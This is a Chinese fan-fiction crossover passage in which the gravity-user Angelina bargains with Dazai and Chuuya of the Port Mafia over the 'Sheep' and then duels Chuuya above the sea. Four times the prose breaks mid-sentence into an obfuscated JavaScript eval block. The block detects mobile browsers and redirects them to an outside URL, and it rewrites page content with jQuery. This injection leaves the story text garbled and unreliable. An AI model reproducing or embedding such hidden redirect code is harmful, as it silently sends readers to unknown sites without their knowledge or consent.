久而久之,中华街形成了一片非抗争的缓冲地带。 “羊”会想到去中华街寻求庇护,中原中也并不意外。 ……不,还是意外的,白濑那个脑子肯定想不出这种主意,一定是其他人提议的。 但更大的疑点来了:“但为什么中华街会同意?” 中华街虽然不怵港口黑手党,但一向保持着井水不犯河水的和平态度。中原中也并不觉得他们的交情能好到和港口黑手党对抗的程度。 中华街护短护的是华人,和“羊”扯不上半毛钱的关系。 “我原本以为他们会选择欧洲的组织。”太宰治说,“居然是中华街,刚知道的时候,我可是惊讶了好久呢。” “……‘羊’里面可没有中华出身的人。” 要是有就不会留在“羊”了。 “全部的变数,都出现在那个同样操纵重力的少女身上。”太宰治撇撇嘴,“明明是中也把她带回去的吧,结果除了‘安’这个真假都不确定的名字之外,什么有用的情报都不知道呢。” “都说了她那个时候没办法说话啊!” “即使没法说话也能看出不少情报吧,说到底还是中也的大脑太没用了。” “啊?!” 一阵鸡飞狗跳之后,中原中也烦躁地抓了抓头发,一扬下巴:“喂,你肯定已经有办法了吧。” 不能到中华街去找人。 现在中华街现在防的就是港口黑手党,要是找过去肯定会被认为是挑衅的。 “办法不是早就说过了吗?” 中原中也沉默了片刻:“要是等到的结果是‘羊’重建,首领不会满意的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068094|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “等”——去清算“羊”的遗产时,太宰治给出了这样的回答。 但等的前提建立在对方无害的前提下。要是神秘重力使对港口黑手党抱有恶意,真的重建“羊”来对抗……虽然这也算是等出了对方的目的,但这意味着他要和以前的同伴对抗。 太宰治微笑着:“你觉得,她会知道‘羊’破灭的真相吗?” “……” “至于中也担心的状况,很遗憾,不会发生呢。”太宰治微微倾身,从桌上抽了份文件扔给他,“有情报商告诉我,有人在查从横滨送出的孤儿。对方也是聪明人呢。” 中原中也捏紧纸张:“你知道她会查。” “既然会调查,说明她不清楚完全的真相,同时没有完全相信‘羊’的话。”太宰治欣赏着他不爽的表情,“最重要的是,只有在乎对错的人才会寻找真相。” “她不会对港口黑手党出手。” 太宰治淡淡地说:“在等的不止我们,对方也在等。只有知道‘羊’的其他人还活着,她才能确定港口黑手党的态度。但这件事有关荒霸吐和先代,资料都已经被港口黑手党销毁了,能调查的地方只有一个。” 中原中也喃喃地说:“……决裂的地方。” “我的人一直守在那里,任何时候她来,我都会收到通知。”太宰治好整以暇地歪了歪头,“算算时间也差不多了吧。” 他的话音刚落,电话铃声就响了起来。 “……” 太宰治看了眼,没有接,心情很好地笑着:“来了。” 中原中也不爽地扯了扯嘴角。 …… 安洁莉娜降落在海边。 时隔半月,海滨高崖上的风景依旧。血迹和尸体早已被清理干净,前不久下了场雨,连泥土里的锈味都冲刷殆尽,于是海潮的腥味越发明显。 呼吸一滞。 海鸥拍打着翅膀飞过,成群地落在礁石上,嘴里叼着捕获到的鱼类。这是一处美丽的墓园,即使经历过一场血腥的组织战,也无损它的美丽。惟一不足的地方,是靠近悬崖的一处塌了下去。 海浪轻缓地拍打着悬崖,塌陷的地方还在,是中原中也之前躲避追击时造成的。毫无疑问,是重力的痕迹。 安洁莉娜从高处往下望,只觉得胸口一闷,头晕目眩。 当然不是因为恐高。 是海……只要一靠近大海,心脏就会控制不住地加速跳动,颤栗的血液被推挤到全身,连呼吸都混乱了。 交错立着的灰色石板上都没有刻下任何字迹,全是不知墓主人的无名碑。 半个月前,“羊”和中原中也在此决裂。此后中原中也加入港口黑手党,“羊”的半数成员生死、下落皆不明,另一半则被安洁莉娜带走,目前安顿在镭钵街。 其中白濑坚定地宣称,是中原中也背叛了“羊”,害得组织分崩离析。 “为什么是这里?” 安洁莉娜站在无名碑前,放下一束白雏菊:“如果这里安葬的不是‘羊’的同伴,又会是谁呢?为什么中也先生会来到这里?” 她自语般吐出一连串疑问。 “……荒霸吐,和港口黑手党的先代首领复活又有什么联系?”安洁莉娜回过头,视线直直地穿透了树林里的黑暗,“能回答我吗?那边的港口黑手党先生。” 15.委托 “荒霸吐?”安洁莉娜拿着纸笔,迟疑地没有落下,“写成汉字的话是哪个?” 在和白濑面谈的时候,她问了和港口黑手党有关的事情,得知了他们调查的事件。 “不知道,总之是荒霸吐。” 安洁莉娜只能按照发音写下片假名。 笔记本上还写着几个关键词,却怎么都串联不到一起。 “镭钵街,荒霸吐,先代首领,中也先生……”她苦恼地用笔顶着脸颊,“荒霸吐在八年前造成了镭钵街,又在两个月前让港口黑手党的先代首领重回人间。” 前段时间港口黑手党的动荡,应该就是在清理因此冒头的先代派系吧。 “但,这和中也先生有什么关系呢?” 安洁莉娜在【荒霸吐】和【中原中也】两个关键词间画下问号。 白濑双手环胸,撇过头:“谁知道啊?他只是想背叛我们加入港口黑手党吧!” “不,这之间肯定有什么关联。在很早之前,中也先生就一直在调查荒霸吐了吧。”安洁莉娜懒得听白濑说废话,兀自写下疑点,“这和八年前镭钵街形成有什么关系……等等。” 她突然停下笔,然后抓住白濑的肩膀,目光灼灼地盯着对方。 “白濑君,你之前说,是你把中也先生带回‘羊’的吧?” 白濑被吓了一跳,下意识往后仰,结结巴巴地说:“是、是啊……怎么了?” “是什么时候?几年前?” “……问这个做什么?”白濑狐疑地盯着她,“难不成中也和荒霸吐有什么关系?开玩笑吧,要是和那样的恶神扯上关系,中也……中也还需要待在镭钵街吗?” 安洁莉娜笑眯眯:“所以说才需要调查嘛。” 白濑撇撇嘴。 “是八年前。”他一边说,一边觑着安洁莉娜的神色,“那家伙……浑身脏兮兮的,穿着不知道从哪偷来的军装,问我:‘那块四方的板是什么?’……就和你一样。” 安洁莉娜讶异:“四方的板?” “当时,我的手上拿的是一块面包。” “……” 安洁莉娜出神地望着笔记本上两个被勾连起来的关键词。 “是这样啊。我之前出现在你们面前时,也是这样吗?”她低声自语了几句,然后合上笔记本,对白濑笑了笑,“我大概有些头绪了,不过具体的事情还需要调查。白濑君,记得补完作业哦。” 她狞笑着凑近,尖尖的犬牙仿佛闪烁着寒光:“我和中也先生不一样,对不听话到处惹麻烦的小孩子从来不手软的。你不想知道重力打在身上有多疼吧?白、濑、君?” 白濑:“…………” 白濑:“我、我知道了!我会补的啊啊啊啊啊!!” “还有两周。” 她站起来:“以后有什么打算,想做什么事情,未来成为什么样的人……好好考虑一下吧,白濑君,这样的机会可是很难得的。” 不等他再说什么,安洁莉娜满意地拍了拍他的头:“那就这样!我还有事情,就先走了,记得听老师和班长的话。” 白濑敢怒不敢言:“……” 然后拿到借助中华街得到的资料,安洁莉娜来到了海边公墓。 刚刚落地,她便察觉到隐藏在树林中的人。她假装没发现,等对方悄然退去。大约二十分钟后,陌生的气息出现在感知范围内,听脚步声有两个人。 这才是重头戏。 安洁莉娜闭上眼,不去看阴沉沉的天空和浪涌的海面,尽力排除脑中纷乱的思绪。 “……能回答我吗?那边的港口黑手党先生。” - “哎呀,相比之下,中也小小的大脑里就只有肌肉呢。” 这么说着,站在树林阴影中的人走出来。是两个少年,其中一个是之前伪装成“羊”的黑手党,安洁莉娜还记得他。他披着一件黑色的西装大衣,露在外面的皮肤几乎都绑上了绷带,仿佛害怕被阳光灼伤一般。 这是第二次见面。太宰治微笑着,迈着在后花园散步一样的悠闲步伐,柔顺的碎发在海风的吹拂下显得有些凌乱。如果初见时是这副模样,安洁莉娜绝不会把他错认成“人质”。 “闭嘴你这个阴险男。” 没见过的红发少年落后半步。他一只手扶着帽子,长西装外套随风飘动,灰色的马甲十分修身。相比同伴略显阴郁的气质,他看起来张扬许多,橘红色的头发像一团烈烈燃烧的火焰,是这片阴沉天空下惟一一抹亮色。 中原中也。 虽然是清醒状态下第一次见面,安洁莉娜却第一时间意识到了他的身份。 虽然出身于贫民窟,但西装穿在他身上却并不突兀。大概是某种发自内心的自信——对自身力量的确信,使那份强大由内而外地散发出来。 完全是她记忆中叙拉古“家族”打手的形象。 大概是觉察到她打量的目光,中原中也有些不自然地挪开视线:“……哦,你看起来没事了啊。” “啊、是的,那天之后就有意识了。” “是吗,那就好。” 太宰治拉长声音,打断这突如其来的叙旧:“中也,你忘了首领让我们来做什么了吗?对方可是敌人哦。” “少废话啊,这种事情我当然知道!” “是吗?我还以为你遇见‘同类’高兴过头,把其他事情都全忘了。” “啧。”中原中也烦躁地向前走了两步,进入工作状态,“我不知道你和太宰那家伙有什么交手。但现在回答我,‘羊’的其他人在哪?” 安洁莉娜看了状似摸鱼的绷带少年一眼,很干脆地答:“在中华街。你在担心他们会反抗港口黑手党招来杀身之祸吧?不用担心,不会发生这种事情的。” “为什么你能肯定?” “因为这是我和‘羊’的交易。他们提供情报,我提供庇护,仅限三十天。”安洁莉娜说,“还有十天,我们之间的交易就结束了。十天后,没有武器和异能的小孩子是不敢、也不可能反抗港口黑手党的。” 中原中也明显松了口气。 “算我欠你个人情。”他扶着帽子,郑重地说。 “和敌人也能聊得这么和乐融融,果然粗神经是一脉相承的吗?”太宰治叹着气打断对话,他看见两个红发重力使同时转头看过来,不由得嫌弃地往后退了一点,“呜哇,还真是让人不愉快的相似性。” 中原中也凉凉地说:“那你把眼睛戳瞎好了。” “应该是中也把脸遮起来才对。” “啊?!” 不等搭档再多说什么,太宰治看向重力使少女:“如果单纯来给小恶狼们辩护的话,你应该就不会专程到这里来吧,这位信使小姐。” “可以叫我安洁莉娜。”她点点头,“请问怎么称呼?” “太宰,太宰治。” 安洁莉娜露出意外和困惑混合在一起的表情。 太宰治敏锐地问:“怎么?你在哪里听过这个名字?” ……确实听过,不过是在日本文学畅销书架上。安洁莉娜陷入头脑风暴。 她本来很确信这个异能世界和以前的现代世界是毫无关系的来着。 原来那个作家太宰治在在写书之前居然是黑手党吗? 不对不对,不管怎么说,年代都对不上吧!等等,这个异能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085979|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界的时间线本身就特别混乱,也不好说究竟有没有对上…… 她沉默的时间太长,太宰治已经怀疑地眯了眯眼。 连中原中也都问:“你们认识?” “没有没有。”安洁莉娜连忙摆手,“只是这个发音总觉得很耳熟,所以在想是不是在哪里听过。但想了半天,实在是想不起来,应该只是巧合吧。” 可能是平行世界吧,毕竟异能力都有了,怎么不能有成为黑手党的作家呢。 而且说不定不是真名。 安洁莉娜没太纠结。不过她不想多说的态度也让两个人没再继续追问下去。 太宰治把疑点记在心里,闲聊一般地问:“听你的名字像是外国人啊。” “代号嘛,当然是取喜欢的啦。”安洁莉娜笑眯眯地说,这话也不算骗人,“我今天来的目的,主要有两个。” 她拿出秘杖握在手中,表情不像是在开玩笑:“中也先生,和我打一场吧。” 中原中也面色古怪:“……你确定?” “我确定。”她点了点头,好心提醒道,“不管怎么说,我现在也是站在港口黑手党的敌对组织立场的。中也先生对我的态度太友善的话,会有背叛的嫌疑吧。” 更何况“羊”还是中原中也的前组织,其中敏感之处不必多说。 黑手党极其看重忠诚的组织,换成严苛一点的首领,搞不好已经可以当成“叛徒”论处了。 ——好歹她也是在叙拉古长大的,就算没吃过猪肉也见过猪跑。 太宰治在一旁懒洋洋地说:“以中也那比蝌蚪还小的脑容量,要让他明白这种事情是不可能的。” “要你多话啊!”中原中也反应过来,有些尴尬地压低帽檐,“我知道了。但除此之外呢?你应该不只是想帮我摆脱嫌疑吧?” “我有想确认的事情。”安洁莉娜没有直说,转头看向太宰治,“港口黑手党也对我的实力很好奇吧。如果能一次性满足这个好奇心的话,之后能不能少一些试探呢?” 太宰治也没有直接回答:“哎呀,这就要看信使小姐有没有拿出战斗的诚意了。” “另外,我希望通过这场战斗进行一次清算——前任‘羊之王’和‘羊’组织的恩怨,在这场战斗之后,将一笔勾销。”安洁莉娜催动着源石技艺,重力场的变化掀起风浪,“中原中也,和我打一场吧。” 黑手党是在意恩仇和脸面的组织。作风越老派的家族越看重这些,毕竟非法组织一开始会形成,正是求告无门的人们聚集在一起,用以牙还牙、以血还血的方式宣告正义。这就是黑手党。 即使利益上有合作的可能,也不能如此轻易地达成协议。在里世界,“面子”是比黄金更贵重的资产。“受到的攻击加倍奉还”——所以港口黑手党才会把这句话列为三大铁律之一。 如果惊扰了沉眠的狮子,却什么代价都不用付出,那岂不是什么小猫小狗都能来咬上一口? 不反击在会被视为软弱,这是叙拉古的“家族传统”。安洁莉娜很熟悉这些规矩。 中原中也显然也很清楚,他挑眉:“你是以什么身份和我谈‘羊’的清算的?” “这也是一桩交易。”安洁莉娜笑得像只狐狸,尖尖的犬牙露在外面,“是来自‘羊’新首领的委托。” …… 与此同时,中华街。 绫美站在门外,深吸了一口气。 她闭上眼,静默几秒,然后睁开,推门而入。 “大家,请听我说。”她环顾坐在桌前写作业的众人,“我要竞选成为‘羊’的新首领。” 白濑目瞪口呆,手里补作业的笔“啪”一下掉在了桌上。 16.重力使 下雨了啊。 【安洁莉娜手记】NO.7 海滨公墓雨 - “哈??”白濑一巴掌拍在桌上,猛地站起来,“等等、凭什么?我反对!” “这不是你一个人反对就能决定的事情,白濑。”绫美平静地说,“这种关乎组织未来的大事,要评议会来决定才行。” 不过经过之前的失败,原本十三人的评议会现在只剩下五个了。 “不管中也当初是怎么离开的,‘羊’现在没有首领是事实。安洁莉娜也从头到尾没有加入组织的打算,难道真的要等十天后就此解散吗?”绫美坚定地说,“安洁莉娜问过我,以后有什么打算……这就是我的答案。” 她握紧拳,眼眶中隐隐有水光:“不要再这样下去了……到光明的世界去生活吧!” …… “其他孩子没有死,港口黑手党把他们送到了别的城市。”安洁莉娜眨了眨眼,“我把这个情报告诉了绫美,她觉得这是个不错的结果。” 中原中也惊讶道:“新首领是绫美?” “很意外吧?”安洁莉娜笑起来,“我们达成了交易。如果她能当上‘羊’的新首领,那由我代替‘羊’和前任‘羊之王’进行清算——从此以后恩怨两结,各奔前程。” “各奔前程……”中原中也咀嚼着这几个字,心中陡然升起一股寂寞。 这是一场告别。他突然意识到。 在那场难看的决裂之后,用另一种方式划下句点。 “啪。” 打断这场谈话的,是太宰治突如其来的鼓掌。 “真是个好算盘呢。”他缓慢地走过来,嘴角噙着笑意,眼神却暗沉得像是一口望不见底的深潭。 “然后你会说:‘和港口黑手党合作,担保他们不会再造成威胁,让港口黑手党将所有人送到全国各地。’可以哦。我的回答是:我可以代替森先生答应这个合作。” “但是,信使小姐。”他歪着头,好像真的在为这个问题感到困惑,“你又想从中得到什么呢?无处安放的‘善良’?单纯的满足感?还是说……别的东西。” 他在安洁莉娜面前站定,仿佛一只乌鸦在打量猎物。 “……” 中原中也看着两个人的对峙,微微蹙起眉,到底没说什么。 “……这就要看战斗的结果了。” 然而,安洁莉娜只给出了一个模棱两可的回答。 “不能说吗?”中原中也问。 安洁莉娜迟疑了一下,还是摇摇头。 没想到他干脆点了点头:“那就打吧。” “诶?” “怎么?这可是你提的,现在又反悔了?”中原中也挑了挑眉,重力的红光在他周身亮起,“刚好,我也有想知道的事情,就用你的重力告诉我吧。” 一个人最本质的力量会反映他的内心,甚至比修饰过的语言更加直接。 安洁莉娜握紧秘杖,毫无畏怯地笑着:“要比重力的话,我有不会输给任何人的自信。” 其实他们一点也不像。 当他们对立而站时,就能轻易发现这一点。 安洁莉娜的混血长相十分明显,那头长发更接近于棕粉色,不过会在阳光下反射出漂亮的红。但此时天空阴沉沉的,没了阳光的渲染,与中原中也那明艳的橘红发色明显拉开了色差。 一红一蓝,两双宝石一般的眼睛对视着,燃烧着同一种战意。 太宰治无声地注视着这一幕。 ……但总有人误以为他们之间有血缘关系——明明在长相上没有一点相似,但就在此刻、当他们以同样坚定的眼神看向彼此时,仿佛有一面镜子映照着对方。 太宰治咋舌,用比羽毛还轻的声音说:“……这种暴力狂的思维,我真是一点都无法理解呢。” 然而没有人回答他的话。 两位红发的重力使对峙着,掀起的罡风刮过树林,树叶猎猎作响。 最先动的是中原中也。 “很好,真是惊人的气势,那就让我看看你的实力吧。”他迈步上前,双手还插在口袋里,“但,不是在这里——” 话音刚落,他便压低重心,以俯冲的姿态子弹般冲了过来。安洁莉娜将秘杖横在身前,格挡住他的腿鞭,顺势急退百米,将战场中心转移到海上。 海面被气浪划开一道白痕,周围的海水迅速填补进来,掀起更大的浪花。 没有任何建筑,完全空旷的海面。这是一个不容许任何投机取巧的战场,能当成武器使用的,只有纯粹重力的对撞和体术的较量。 “如果我赢了!”安洁莉娜手上发力,将对方震开,拉远距离,“就答应我一个条件!” “不错啊,这个眼神。”中原中也哼笑一声,“可以,前提是你能赢!” 攻击、攻击、攻击。每一次攻击都蓄满了重力,带着不可抵挡的毁灭性。那双眼睛是比天空更加澄净的蓝色,此时却仿佛燃烧着火焰。他的眼中倒映着安洁莉娜狼狈抵挡的身影。 “不是说要赢过我吗?就只是这样?”双手依旧放在口袋里,只是用双腿战斗就足够让她只能自顾不暇。尽管有重力法术加持,秘杖被击中时发出的铮响依旧惊心,安洁莉娜甚至怀疑它下一秒就会折断。 几乎无法躲开。那是肉眼都很难看清的攻击,比雨燕归巢更迅猛,只能硬接下来,用重力削减力道,但只是杯水车薪。 ……好强。 完全是压倒性的强大。安洁莉娜虽然经受过训练,但都是为了成为术师干员而准备的特训,对于近身作战的要求是达到自保水平,毕竟罗德岛大多以小队配合作战为主,近卫和重装干员不会让敌人有近身的机会。 结果现在完全被压着打。 安洁莉娜咬牙。 她将秘杖横过头顶,挡住一道有俯冲加速的下劈。巨大的冲击力把她打入海中,砸出直径十几米的水坑。 浪花翻涌了几下,然后归于平静。 中原中也悬空在海面上,望着底下逐渐减小的白浪,皱起了眉。 “仅凭这样的话,是无法和我清算的。”他冷声道,“更别说提条件。” “轰——!!” 像是被戳破的塑料膜,海面隆起,然后破裂。安洁莉娜悬浮在凹陷成漩涡状的水流中心,那是扭曲的重力场营造的奇妙现象。尽管刚刚破水而出,她身上却没有任何一处被打湿。安洁莉娜仰头看着对方,醒目的红色像一滴血滴入海中。 “中也先生,我可以问你一个问题吗?” “怎么?想拖延时间的话,这点嘴皮子功夫可不够。” “不,只是我想知道答案。”她说,“中也先生,这个世界上真的有神明存在吗?” “……白濑那家伙告诉你的?” 中原中也面色一冷:“怎么,你也想见它?” “可以这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093189|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说吧,我有不得不见它的理由。”安洁莉娜无奈地笑着,那是一个比破碎的镜面更让人惋惜的笑容,“这么说可能有些奇怪……但中也先生,我想回家。” 中原中也一怔。 她将秘杖高举过头顶。 无数次使用过的法术,比呼吸更娴熟。 源石技艺的力量通过施术单元释放。 这是一场不可避免的战斗,安洁莉娜从一开始就知道。 中原中也需要与身为“羊”的过去作一个告别,她需要知道传说中“荒霸吐”的真身。究竟是神明,又或是巨兽,还是……什么别的东西。 既然能够来到这里,那就一定有回去的办法。她无比坚信着。 ……无比坚信着。 在远离漩涡的岸边,太宰治戴着耳机,用望远镜眺望着海面上逐渐扩大的红光。 耳机内传来一阵尖锐的杂音,电波信号被干扰,直至中断。 “不妙啊……”他喃喃着,嘴角浅淡的笑意早在听见“回家”两个字时消失了。 安洁莉娜深吸一口气,整个肺腔都被海潮的咸腥味填满了。 “虽然很讨厌海,偏偏有很多和大海作战的经验啊。” 如同琴弦拨动一般的铮响后,耀眼的红光从秘杖顶端激射而出。 “——秘杖·微粒模式。” …… “这到底是什么东西?!” 攻击法术像是雨点一样密集地追过来,中原中也只能用重力加速躲避,在海面上留下一道沸腾的轨迹。 第一下他差点没反应过来,法术擦过他的脸颊落到身后的海里,留下一道隐隐作痛的灼痕。 不敢想这东西要是打在身上会怎么样。 说不定连血液都直接蒸发掉。 中原中也的异能需要直接接触才能发动,但这玩意儿在直接接触前就会造成高温灼伤——从这方面来说,非常克制他。 形势瞬间逆转,狼狈躲避的人变成了他。 完全无法理解。 这种攻击形式,与其说是“异能力”,不如说是“用异能力制造的武器”。高能法术弹擦着躲避的轨迹落在海面上,发出“呲呲”的蒸发声。 这真的还是重力异能吗? 不……这真的还是异能力吗? 海面上没有任何遮挡,无论怎么尝试甩开,法术弹都像是长了眼睛一样紧随其后。 这样下去不行。等体力耗尽之后,一定会被击中的。 中原中也猛地后仰,躲开一发攻击。不敢多耽搁,他立马调整姿态,旋身扭过瞄准左侧的法术弹。定做的高级西装不幸被擦中,高温燎出一股焦糊味。 “啧,我还没穿几天呢。” 他才刚正式入职港口黑手党一个星期,这身高级西装才穿着出席过一次正式场合,结果就这样报废了。 不过,虽然这么说着,脸上倒没有多少肉疼的表情。 “抱歉……之后我会赔你的,中也先生。” “不,不需——要!” 中原中也抓住说话的空隙,假意要冲刺过来,实际上猛吸一口气,往海里一扎。 没有掩护,也没有遮挡物,想在海面上绕过火力封锁是不可能的。 那么——就只有海中! 安洁莉娜睁大眼睛。目标消失在视野里,施术单元停下了法术弹的输出。 另一位重力使的踪影已经彻底消失在海上。 17.回不去的 “中也,你有没有想过,她并不是和你一样的实验体。” 安洁莉娜的视线在海面上逡巡,她拉高与海平面的距离,时刻警惕着从海中而来的攻击。 天空压抑地往下沉,仿佛一伸手就能碰到灰白色的云。 太宰治站在岸边,望着远处的战场。空气、海水、以及随之流动的云,都像是被一只看不见的手扭曲成漩涡。而在漩涡的中心,是一个小小的、如同一滴红墨水滴在画纸上的身影。 仿佛神迹降临一般的场景,是重力的战场。 中原中也潜伏在水中。不过就算再怎么属于人类以外的范畴,他依旧是需要用肺呼吸的。这点时间差不多是极限了吧。 果然下一秒,他就突破水面。两个重力使在空中相遇,碰撞时发出巨大的声响。 中原中也的手抵在了秘杖顶端。他想要抓握下去,却被强大的重力阻止。 没有丝毫颤抖。他们之间的对抗并非依靠蛮力,而是对重力的掌控。中原中也端详着她的表情,试图从那岩石一般不可动摇的平静下,找出些许情绪泄露的端倪。 然而安洁莉娜始终看着手中的秘杖。如果不是不断加码的重力输出越来越难以应对,中原中也甚至怀疑他面对的是一座雕像。 “不是实验体?” 在来到海滨的路上,太宰治提出了这样的假设。 中原中也原本靠着窗,闻言转过头来,眉毛拧在一块:“你确定吗?” “不。”太宰治摊手,“你看起来很惊讶啊,难道是有什么相关的记忆吗?” “怎么可能。”中原中也轻嗤一声,“我说过吧。实验相关的记忆,就只有完全的一片漆黑而已。” 太宰治不置可否。 “所以?”中原中也睨着那张因为坐在背光一面而被阴影遮住大半的脸,“你突然这么说,是有什么根据吗?” “如果她和中也你一样,同样属于实验室出身。那么来自欧洲的谍报员——兰堂先生不可能只字未提。”太宰治淡淡地说,“兰堂先生留下了不少资料吧。虽然我没有见到,但森先生肯定看过。如果有相关的记录,他没有隐瞒的必要。” “当然不排除还有其他实验室的可能性……但要瞒过欧洲超越者级别的谍报员,一点风声都不透露,想必连最强大的组织都无法做到吧。所以我更倾向于她并非实验体出身……那么问题来了。” “既然不是实验体出身,为什么还要调查‘荒霸吐’?” “等等。”中原中也质疑道,“就算要调查‘荒霸吐’,说不定只是想知道‘羊’破灭的真相吧?” “不排除这样的可能性。”太宰治双腿交叠,手放在西装裤上,“所以我有一个确认的方法。” “什么?” “很简单。”他竖起食指,停留在唇中,“她是否知道‘荒霸吐’的就是你——只要确认这一点就够了。” “你,”在重压下,中原中也从牙缝中挤出声音,“说的‘回家’,是哪里?” 岩石皲裂一般,安洁莉娜的瞳孔颤抖了一下,终于抬起眼。 “是我来的地方。”她脸色苍白,“我……必须要回去。” 随着话语被风卷席着消失在空气里,整个秘杖开始震动,顶端亮起的微光像是膨胀的太阳。两个方向截然相反的重力对抗着,却并没有抵消,反而膨胀成某种更加庞大的—— 被扭曲的重力场撕扯着,安洁莉娜咯出一口血。 “抱歉,中也先生……”她发出破风箱一般虚弱的声音,“为了回家,我只能借助你的力量……超越重力的力量。” 中原中也惊讶地说:“你……难不成真的……” “可恶!”他的骨骼咔咔作响,他在用重力增大自身密度和质量,“真是不爽,这不就和那个混蛋阴险男说的一模一样了吗?!” “如果她和实验室没有关系,那她怎么会知道——” 想到一个无比可怕的可能性,中原中也的声音消失在喉咙中。 “是啊,她是怎么知道的呢?”太宰治低笑着,“除去已经被埋葬的先代事件,惟一和‘荒霸吐’有关系的地方就只有一个。” 中原中也的嘴唇张合,好几次才挤出声音:“……镭钵街。” “结合她同为重力使的身份,我有一个猜测。”太宰治望着车窗外阴沉的天空,海滨墓地快要到了,“她也制造过同样的东西——所以才能在看见镭钵街时,马上知道它的来历。” …… ………… ……自从海嗣攻破乌萨斯内卫的“国度”防线后,就经常下这样的雨。 这时候她总能想起叙拉古。叙拉古的雨也是这样,连绵、潮湿、沉闷,总伴随着暗巷中不为人知的死亡。等细雨过去,好像一切都照旧。叙拉古是一个注重传统的国家,街边随处可见从莱塔尼亚统治时期开到现在的咖啡厅和披萨店,古建筑随着移动城市在荒野上行走。 叙拉古已经不在了。 咖啡厅、披萨店、灰厅的法庭、街头上卖花的小姑娘、剧院里的歌声、还有令人胆战心惊的家族打手们、新沃尔西尼的新法案……一如往常的细雨过后,叙拉古从此消失了。 故乡。她的故乡总是在远去。 当她站在大炎的土地上时,莫名地感到安心。 大炎。兜兜转转,前世今生。哪怕世殊时异,物是人非,她最后还是会死在这片土地上。大炎还在,罗德岛还在,是否也算魂归故里呢? 第二最终防卫阵线。 最后的大炎天师望着地平线上远去的平民队伍,源石技艺如洪啸般彻底释放。安洁莉娜甚至能听见灵魂震荡的声音,在细雨中,连落日的余晖都模糊不清。 仿佛穿越了悲哀的极限。 安洁莉娜举起了秘杖。 “上尉,这里交给我。你有你该做的事情。” 不能退。天师已经陨落,海嗣很快就会涌来,所谓“支援”只是杯水车薪,但是不能退。将平民护送队伍的指挥权移交后,安洁莉娜脱离了队伍。 秘杖顶端亮起微光,红色的光逐渐加深,沉淀出幽幽的蓝芒,实相物质在她的施术单元与手指间缓慢流淌。 重力场在地面上压出深陷。 光线、时间、物质,一切都在重力中扭曲了。黑色的半球出现在地平线上,仿佛是第二个漆黑的落日。 在这黑色的半球消失后,地面上出现了一个半径数千米的深坑。里面什么都没有,故乡、海嗣、雨水,和罗德岛的信使一起消失了。 …… “重力的本质,其实是引力。但引力本身不存在,它只是一种幻想,取而代之的是弯曲的时空几何。” “啊?” “书上看见的。”太宰治笑眯眯地说,“为了寻找杀死中也的方法,我看了很多书呢。” “我现在就有无数种杀死你的方法。” “虽然我追寻着死亡,但死在中也手里还是算了。” 太宰治嫌弃地说,然后在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100126|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中原中也说出第二句谋杀言论之前继续刚刚的话题,“虽然理论很复杂,也很不可思议,但这是可能性最大的猜测。那位信使小姐——” 他远望着孑立的红发少女,声音飘散在空气中。 “恐怕跨越了比我们想象中更遥远的时间和空间,才来到了这里。” “铮——!!” 几乎是一声爆鸣后,从施术单元中流淌出的法术开始逐渐加深。 那是近乎黑的蓝,是中原中也从未见过的景象。 更多的血从她的口中呕出。 颈间蓝黑相间的监测环发出警报声,用冷淡的女声哥伦比亚语播报道:“警告检测到血液中源石结晶密度急速上升,请迅速远离源石环境或立即停止施术。” 但安洁莉娜笑起来,是一种比落日的余晖更温暖的笑容。 这场战斗,从一开始就是不公平的。 “要比重力的话,我不会输给任何人。” 并不是自负。哪怕对手是制造出直径2km深坑的“荒霸吐”,也能毫不谦逊地说出。 因为她的重力,是在与不断进化的海嗣潮的竞赛中锤炼出来的。 抱着拼死的觉悟,每拖延一秒,说不定就能有成百上千的人得救。因为有想要守护的人,所以连对无限逼近的死亡的恐惧都忘记了。这样的战斗,无时无刻不在泰拉的大地上发生着。 安洁莉娜就是在这样的战斗中“幸存”下来的。 